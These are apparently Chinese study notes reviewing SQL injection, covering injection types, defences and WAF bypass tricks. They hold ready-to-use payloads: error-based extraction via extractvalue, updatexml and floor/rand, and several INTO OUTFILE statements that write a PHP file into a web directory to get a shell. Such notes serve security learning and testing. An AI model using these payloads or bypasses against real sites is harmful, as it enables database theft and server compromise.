Sql注入总结复习:
1,sql注入的本质是将用户输入的不可信数据当作代码去执行,注入类的攻击还有很多,往往是由于对用户的输入过于信任而产生漏洞,也就是常说的有输入的地方就可能会有漏洞;
2,sql注入的触发条件:
1)用户要能控制输入
2)输入的数据能当做代码执行
3)要跟数据库有交互
3,sql注入分类:
按位置主要分为GET型、POST型和Head型注入,前两种遇到较多一些,Head型注入主要存在于cookie或者HTTP请求的一些参数中;
按参数类型主要分为数字型和字符型,数字型无需闭合,字符型需要使用单引号、双引号或者括号进行闭合;
按有无回显可以分为报错注入和盲注;
4,常用注入方法:
联合注入:通过使前一段查询为空从而爆出自己想要的数据;
报错注入:在注入后有报错信息的情况下可采用报错注入,常用报错函数如下:
extractvalue()使用xpath报错,当第二个参数不符合xpath规则时就会报错。pyload:id='and(select extractvalue("anything",concat('~',(select语句))));由于‘~’‘$’'#'等符号不符合xpath语法,因此可以报错出select语句中的内容;extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位;updatexml()同理:payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
concat+rand()+group_by()导致主键重复从而报错,payload:1 ' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+
数据溢出:在mysql5.5之前,整形溢出是不会报错的,只有版本号大于5.5.5时,才会报错;payload:select exp(~(select*from(select user())x));
其他报错注入常用的函数还有exp()、GeometryCollection()、linestring()、polygon()、multipoint()、multipolygon()、multilinestring()、join报错注入等等,在渗透场景中可以尝试哪些函数没有被过滤来进行报错注入;
二次注入:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
盲注:在页面无回显时可使用布尔盲注或者延时盲注;
堆查询注入:参考强网杯2019 随便注
反弹注入:针对mssql注入
偏移注入:针对access注入
DNS注入:百度搜索免费dns平台进行测试
5,数据库类型
mysql、sql server、oracle、access;
mysql默认端口为3306,可编辑用户目录下的.my.cnf文件进行编写;sqlserver默认端口为1433;oracle默认端口为1521;DB2默认端口为50000;PostgreSQL默认端口为5432;
6,常用函数:
敏感信息:
version()# mysql 数据库版本
database()# 当前数据库名
user()# 用户名
current_user()# 当前用户名
system_user()# 系统用户名
@@datadir# 数据库路径
@@version_compile_os# 操作系统版本
常用函数:
length()# 返回字符串的长度
substring()
substr()# 截取字符串
mid()
left()# 从左侧开始取指定字符个数的字符串
concat()# 没有分隔符的连接字符串
concat_ws()# 含有分割符的连接字符串
group_conat()# 连接一个组的字符串
ord()# 返回ASCII 码
ascii()
hex()# 将字符串转换为十六进制
unhex()# hex 的反向操作
md5()# 返回MD5 值floor(x)
# 返回不大于x 的最大整数
round()# 返回参数x 接近的整数
rand()# 返回0-1 之间的随机浮点数
load_file()# 读取文件,并返回文件内容作为一个字符串
sleep()# 睡眠时间为指定的秒数
if(true,t,f)# if 判断
find_in_set()# 返回字符串在字符串列表中的位置
benchmark()# 指定语句执行的次数
7,sql注入getshell
利用sql注入getshell比较困难,需要有一下几个要求:
1)知道网站绝对路径,可以尝试通过错误参数爆绝对路径,如果当前用户对web目录有读权限时,可以使用load_file()读取系统敏感文件,尝试找到网站路径;
2)gpc是关闭的,在php4.0以上版本是默认开启的;
当开启gpc时,由于存入数据库的数据是经过gpc转义前的数据,因此可以通过二次注入来绕过gpc;
在php5时,gpc无论开启与否,都不会对$_SERVER中的参数进行转义,可以选择相应的变量作为突破口;
在有时也可以使用编码绕过gpc限制,如可以使用双重url编码绕过;
3)secure_file_priv不为NULL,而mysql 5.6.34版本以后 secure_file_priv的值默认为NULL;
4)有写系统文件的权限;
以上条件都满足时可以使用into_outfile写入一句话木马
union selec写入:id= union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'
id = union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'
lines terminated by写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
lines starting by写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';
id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';
fields terminated by 写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';
id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';
COLUMNS terminated by 写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';
id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';
8,数据库提权
在数据库本身已经是root权限时,如果想要执行cmd命令则还需要进行提权,方法有以下几种:
1)udf提权:
2)mof提权:
3)启动项提权:
9,sql注入防护与绕过:
防护:
将普通用户与系统管理员分开,这样即使存在注入式攻击也可以防止写入一句话木马,将危害控制在最小的范围内;
使用参数化查询,使得用户的输入不直接嵌入到sql语句中,用户无法直接控制执行的语句也就不会产生sql注入了;
数据库预处理,sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,将参数转换为string,两端加单引号,将参数内的一些特殊字符(换行,单双引号,斜杠等)做转义处理,这样就很大限度的避免了sql注入。
使用正则匹配黑名单过滤,对敏感字符串,符号进行过滤,很多软件waf(如安全狗)都会采用正则规则阻止sql注入,但是正则表达式存在容易被绕过的危险;
绕过:
关键词绕过,使用等价函数绕过被正则过滤的函数;
宽字节绕过,若waf对'转义为\',可使用%df%5c使'逃逸出来;
二次编码绕过,后端程序的编码函数,如urldecode()等,与PHP本身处理编码时,两者配合失误,使得攻击者可以构造数据消灭;
注释绕过,使用注释可以规避对空格的依赖或关键字识别,从而突破WAF正则匹配,常用的注释的符号有://, -- , /**/, #, --+,-- -, ;,--a;
http污染绕过,针对不同的web服务器针对性的构造参数;
10,其他数据库知识:
SQL的存储引擎:
参考:
https://xz.aliyun.com/t/253
https://www.freebuf.com/vuls/229300.html
https://manning23.github.io/2019/07/23/MYSQL%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%EF%BC%8C%E5%86%99WebShell%E7%9A%845%E7%A7%8D%E6%96%B9%E5%BC%8F/